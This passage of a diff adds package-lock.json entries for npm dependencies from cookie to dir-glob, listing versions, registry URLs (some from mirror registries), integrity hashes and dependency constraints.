+      "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==",
+      "dependencies": {
+        "safe-buffer": "~5.1.1"
+      }
+    },
+    "node_modules/cookie": {
+      "version": "0.7.1",
+      "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.1.tgz",
+      "integrity": "sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/cookie-signature": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
+      "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="
+    },
+    "node_modules/core-js": {
+      "version": "3.25.3",
+      "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.25.3.tgz",
+      "integrity": "sha512-y1hvKXmPHvm5B7w4ln1S4uc9eV/O5+iFExSRUimnvIph11uaizFR8LFMdONN8hG3P2pipUfX4Y/fR8rAEtcHcQ==",
+      "hasInstallScript": true,
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/core-js"
+      }
+    },
+    "node_modules/core-js-compat": {
+      "version": "3.25.3",
+      "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.25.3.tgz",
+      "integrity": "sha512-xVtYpJQ5grszDHEUU9O7XbjjcZ0ccX3LgQsyqSvTnjX97ZqEgn9F5srmrwwwMtbKzDllyFPL+O+2OFMl1lU4TQ==",
+      "dependencies": {
+        "browserslist": "^4.21.4"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/core-js"
+      }
+    },
+    "node_modules/core-js-pure": {
+      "version": "3.14.0",
+      "resolved": "https://registry.nlark.com/core-js-pure/download/core-js-pure-3.14.0.tgz",
+      "integrity": "sha1-crz6y6dKZf/OBL+UrpHZZugO5VM=",
+      "deprecated": "core-js-pure@<3.23.3 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Some versions have web compatibility issues. Please, upgrade your dependencies to the actual version of core-js-pure.",
+      "hasInstallScript": true,
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/core-js"
+      }
+    },
+    "node_modules/core-util-is": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
+      "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="
+    },
+    "node_modules/cosmiconfig": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz",
+      "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==",
+      "dependencies": {
+        "@types/parse-json": "^4.0.0",
+        "import-fresh": "^3.2.1",
+        "parse-json": "^5.0.0",
+        "path-type": "^4.0.0",
+        "yaml": "^1.10.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/cross-spawn": {
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+      "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
+      "dependencies": {
+        "path-key": "^3.1.0",
+        "shebang-command": "^2.0.0",
+        "which": "^2.0.1"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/crypto-random-string": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz",
+      "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/css": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npm.taobao.org/css/download/css-3.0.0.tgz",
+      "integrity": "sha1-REek1Y/dAzZ8UWyp9krjZc7kql0=",
+      "dependencies": {
+        "inherits": "^2.0.4",
+        "source-map": "^0.6.1",
+        "source-map-resolve": "^0.6.0"
+      }
+    },
+    "node_modules/css-blank-pseudo": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-3.0.3.tgz",
+      "integrity": "sha512-VS90XWtsHGqoM0t4KpH053c4ehxZ2E6HtGI7x68YFV0pTo/QmkV/YFA+NnlvK8guxZVNWGQhVNJGC39Q8XF4OQ==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.9"
+      },
+      "bin": {
+        "css-blank-pseudo": "dist/cli.cjs"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/css-declaration-sorter": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.3.1.tgz",
+      "integrity": "sha512-fBffmak0bPAnyqc/HO8C3n2sHrp9wcqQz6ES9koRF2/mLOVAx9zIQ3Y7R29sYCteTPqMCwns4WYQoCX91Xl3+w==",
+      "engines": {
+        "node": "^10 || ^12 || >=14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.0.9"
+      }
+    },
+    "node_modules/css-has-pseudo": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-3.0.4.tgz",
+      "integrity": "sha512-Vse0xpR1K9MNlp2j5w1pgWIJtm1a8qS0JwS9goFYcImjlHEmywP9VUF05aGBXzGpDJF86QXk4L0ypBmwPhGArw==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.9"
+      },
+      "bin": {
+        "css-has-pseudo": "dist/cli.cjs"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/css-loader": {
+      "version": "6.7.1",
+      "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.1.tgz",
+      "integrity": "sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw==",
+      "dependencies": {
+        "icss-utils": "^5.1.0",
+        "postcss": "^8.4.7",
+        "postcss-modules-extract-imports": "^3.0.0",
+        "postcss-modules-local-by-default": "^4.0.0",
+        "postcss-modules-scope": "^3.0.0",
+        "postcss-modules-values": "^4.0.0",
+        "postcss-value-parser": "^4.2.0",
+        "semver": "^7.3.5"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^5.0.0"
+      }
+    },
+    "node_modules/css-minimizer-webpack-plugin": {
+      "version": "3.4.1",
+      "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz",
+      "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==",
+      "dependencies": {
+        "cssnano": "^5.0.6",
+        "jest-worker": "^27.0.2",
+        "postcss": "^8.3.5",
+        "schema-utils": "^4.0.0",
+        "serialize-javascript": "^6.0.0",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^5.0.0"
+      },
+      "peerDependenciesMeta": {
+        "@parcel/css": {
+          "optional": true
+        },
+        "clean-css": {
+          "optional": true
+        },
+        "csso": {
+          "optional": true
+        },
+        "esbuild": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/css-minimizer-webpack-plugin/node_modules/ajv-keywords": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+      "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.3"
+      },
+      "peerDependencies": {
+        "ajv": "^8.8.2"
+      }
+    },
+    "node_modules/css-minimizer-webpack-plugin/node_modules/schema-utils": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+      "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.9",
+        "ajv": "^8.8.0",
+        "ajv-formats": "^2.1.1",
+        "ajv-keywords": "^5.0.0"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/css-prefers-color-scheme": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-6.0.3.tgz",
+      "integrity": "sha512-4BqMbZksRkJQx2zAjrokiGMd07RqOa2IxIrrN10lyBe9xhn9DEvjUK79J6jkeiv9D9hQFXKb6g1jwU62jziJZA==",
+      "bin": {
+        "css-prefers-color-scheme": "dist/cli.cjs"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/css-select": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/css-select/-/css-select-2.1.0.tgz",
+      "integrity": "sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==",
+      "dependencies": {
+        "boolbase": "^1.0.0",
+        "css-what": "^3.2.1",
+        "domutils": "^1.7.0",
+        "nth-check": "^1.0.2"
+      }
+    },
+    "node_modules/css-select-base-adapter": {
+      "version": "0.1.1",
+      "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz",
+      "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w=="
+    },
+    "node_modules/css-tree": {
+      "version": "1.0.0-alpha.37",
+      "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.37.tgz",
+      "integrity": "sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==",
+      "dependencies": {
+        "mdn-data": "2.0.4",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/css-what": {
+      "version": "3.4.2",
+      "resolved": "https://registry.npmjs.org/css-what/-/css-what-3.4.2.tgz",
+      "integrity": "sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==",
+      "engines": {
+        "node": ">= 6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/fb55"
+      }
+    },
+    "node_modules/css.escape": {
+      "version": "1.5.1",
+      "resolved": "https://registry.npm.taobao.org/css.escape/download/css.escape-1.5.1.tgz",
+      "integrity": "sha1-QuJ9T6BK4y+TGktNQZH6nN3ul8s="
+    },
+    "node_modules/css/node_modules/source-map-resolve": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npm.taobao.org/source-map-resolve/download/source-map-resolve-0.6.0.tgz",
+      "integrity": "sha1-PZ34fiNrU/FtAeWBUPx3EROOXtI=",
+      "deprecated": "See https://github.com/lydell/source-map-resolve#deprecated",
+      "dependencies": {
+        "atob": "^2.1.2",
+        "decode-uri-component": "^0.2.0"
+      }
+    },
+    "node_modules/cssdb": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-7.0.1.tgz",
+      "integrity": "sha512-pT3nzyGM78poCKLAEy2zWIVX2hikq6dIrjuZzLV98MumBg+xMTNYfHx7paUlfiRTgg91O/vR889CIf+qiv79Rw==",
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      }
+    },
+    "node_modules/cssesc": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
+      "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
+      "bin": {
+        "cssesc": "bin/cssesc"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/cssnano": {
+      "version": "5.1.13",
+      "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.13.tgz",
+      "integrity": "sha512-S2SL2ekdEz6w6a2epXn4CmMKU4K3KpcyXLKfAYc9UQQqJRkD/2eLUG0vJ3Db/9OvO5GuAdgXw3pFbR6abqghDQ==",
+      "dependencies": {
+        "cssnano-preset-default": "^5.2.12",
+        "lilconfig": "^2.0.3",
+        "yaml": "^1.10.2"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/cssnano"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/cssnano-preset-default": {
+      "version": "5.2.12",
+      "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.12.tgz",
+      "integrity": "sha512-OyCBTZi+PXgylz9HAA5kHyoYhfGcYdwFmyaJzWnzxuGRtnMw/kR6ilW9XzlzlRAtB6PLT/r+prYgkef7hngFew==",
+      "dependencies": {
+        "css-declaration-sorter": "^6.3.0",
+        "cssnano-utils": "^3.1.0",
+        "postcss-calc": "^8.2.3",
+        "postcss-colormin": "^5.3.0",
+        "postcss-convert-values": "^5.1.2",
+        "postcss-discard-comments": "^5.1.2",
+        "postcss-discard-duplicates": "^5.1.0",
+        "postcss-discard-empty": "^5.1.1",
+        "postcss-discard-overridden": "^5.1.0",
+        "postcss-merge-longhand": "^5.1.6",
+        "postcss-merge-rules": "^5.1.2",
+        "postcss-minify-font-values": "^5.1.0",
+        "postcss-minify-gradients": "^5.1.1",
+        "postcss-minify-params": "^5.1.3",
+        "postcss-minify-selectors": "^5.2.1",
+        "postcss-normalize-charset": "^5.1.0",
+        "postcss-normalize-display-values": "^5.1.0",
+        "postcss-normalize-positions": "^5.1.1",
+        "postcss-normalize-repeat-style": "^5.1.1",
+        "postcss-normalize-string": "^5.1.0",
+        "postcss-normalize-timing-functions": "^5.1.0",
+        "postcss-normalize-unicode": "^5.1.0",
+        "postcss-normalize-url": "^5.1.0",
+        "postcss-normalize-whitespace": "^5.1.1",
+        "postcss-ordered-values": "^5.1.3",
+        "postcss-reduce-initial": "^5.1.0",
+        "postcss-reduce-transforms": "^5.1.0",
+        "postcss-svgo": "^5.1.0",
+        "postcss-unique-selectors": "^5.1.1"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/cssnano-utils": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz",
+      "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==",
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/csso": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz",
+      "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==",
+      "dependencies": {
+        "css-tree": "^1.1.2"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/csso/node_modules/css-tree": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz",
+      "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==",
+      "dependencies": {
+        "mdn-data": "2.0.14",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/csso/node_modules/mdn-data": {
+      "version": "2.0.14",
+      "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz",
+      "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow=="
+    },
+    "node_modules/cssom": {
+      "version": "0.4.4",
+      "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz",
+      "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw=="
+    },
+    "node_modules/cssstyle": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz",
+      "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==",
+      "dependencies": {
+        "cssom": "~0.3.6"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/cssstyle/node_modules/cssom": {
+      "version": "0.3.8",
+      "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz",
+      "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg=="
+    },
+    "node_modules/csstype": {
+      "version": "3.0.8",
+      "resolved": "https://registry.nlark.com/csstype/download/csstype-3.0.8.tgz",
+      "integrity": "sha1-0iZqeScp+yJ80hb7Vy9Dco4a00A="
+    },
+    "node_modules/damerau-levenshtein": {
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz",
+      "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="
+    },
+    "node_modules/data-urls": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-2.0.0.tgz",
+      "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==",
+      "dependencies": {
+        "abab": "^2.0.3",
+        "whatwg-mimetype": "^2.3.0",
+        "whatwg-url": "^8.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/debug": {
+      "version": "4.3.4",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+      "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+      "dependencies": {
+        "ms": "2.1.2"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/decimal.js": {
+      "version": "10.4.1",
+      "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.1.tgz",
+      "integrity": "sha512-F29o+vci4DodHYT9UrR5IEbfBw9pE5eSapIJdTqXK5+6hq+t8VRxwQyKlW2i+KDKFkkJQRvFyI/QXD83h8LyQw=="
+    },
+    "node_modules/decode-uri-component": {
+      "version": "0.2.2",
+      "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.2.tgz",
+      "integrity": "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==",
+      "engines": {
+        "node": ">=0.10"
+      }
+    },
+    "node_modules/dedent": {
+      "version": "0.7.0",
+      "resolved": "https://registry.npmjs.org/dedent/-/dedent-0.7.0.tgz",
+      "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA=="
+    },
+    "node_modules/deep-is": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
+      "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ=="
+    },
+    "node_modules/deepmerge": {
+      "version": "4.2.2",
+      "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz",
+      "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/default-gateway": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz",
+      "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==",
+      "dependencies": {
+        "execa": "^5.0.0"
+      },
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/define-data-property": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
+      "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
+      "dependencies": {
+        "es-define-property": "^1.0.0",
+        "es-errors": "^1.3.0",
+        "gopd": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/define-lazy-prop": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz",
+      "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/define-properties": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.4.tgz",
+      "integrity": "sha512-uckOqKcfaVvtBdsVkdPv3XjveQJsNQqmhXgRi8uhvWWuPYZCNlzT8qAyblUgNoXdHdjMTzAqeGjAoli8f+bzPA==",
+      "dependencies": {
+        "has-property-descriptors": "^1.0.0",
+        "object-keys": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/defined": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz",
+      "integrity": "sha512-Y2caI5+ZwS5c3RiNDJ6u53VhQHv+hHKwhkI1iHvceKUHw9Df6EK2zRLfjejRgMuCuxK7PfSWIMwWecceVvThjQ=="
+    },
+    "node_modules/delayed-stream": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
+      "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/depd": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
+      "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/destroy": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
+      "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==",
+      "engines": {
+        "node": ">= 0.8",
+        "npm": "1.2.8000 || >= 1.4.16"
+      }
+    },
+    "node_modules/detect-newline": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz",
+      "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/detect-node": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz",
+      "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g=="
+    },
+    "node_modules/detect-port-alt": {
+      "version": "1.1.6",
+      "resolved": "https://registry.npmjs.org/detect-port-alt/-/detect-port-alt-1.1.6.tgz",
+      "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==",
+      "dependencies": {
+        "address": "^1.0.1",
+        "debug": "^2.6.0"
+      },
+      "bin": {
+        "detect": "bin/detect-port",
+        "detect-port": "bin/detect-port"
+      },
+      "engines": {
+        "node": ">= 4.2.1"
+      }
+    },
+    "node_modules/detect-port-alt/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/detect-port-alt/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/detective": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/detective/-/detective-5.2.1.tgz",
+      "integrity": "sha512-v9XE1zRnz1wRtgurGu0Bs8uHKFSTdteYZNbIPFVhUZ39L/S79ppMpdmVOZAnoz1jfEFodc48n6MX483Xo3t1yw==",
+      "dependencies": {
+        "acorn-node": "^1.8.2",
+        "defined": "^1.0.0",
+        "minimist": "^1.2.6"
+      },
+      "bin": {
+        "detective": "bin/detective.js"
+      },
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/didyoumean": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
+      "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="
+    },
+    "node_modules/diff-sequences": {
+      "version": "26.6.2",
+      "resolved": "https://registry.nlark.com/diff-sequences/download/diff-sequences-26.6.2.tgz?cache=0&sync_timestamp=1621937263741&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdiff-sequences%2Fdownload%2Fdiff-sequences-26.6.2.tgz",
+      "integrity": "sha1-SLqZFX3hkjQS7tQdtrbUqpynwLE=",
+      "engines": {
+        "node": ">= 10.14.2"
+      }
+    },
+    "node_modules/dir-glob": {
+      "version": "3.0.1",
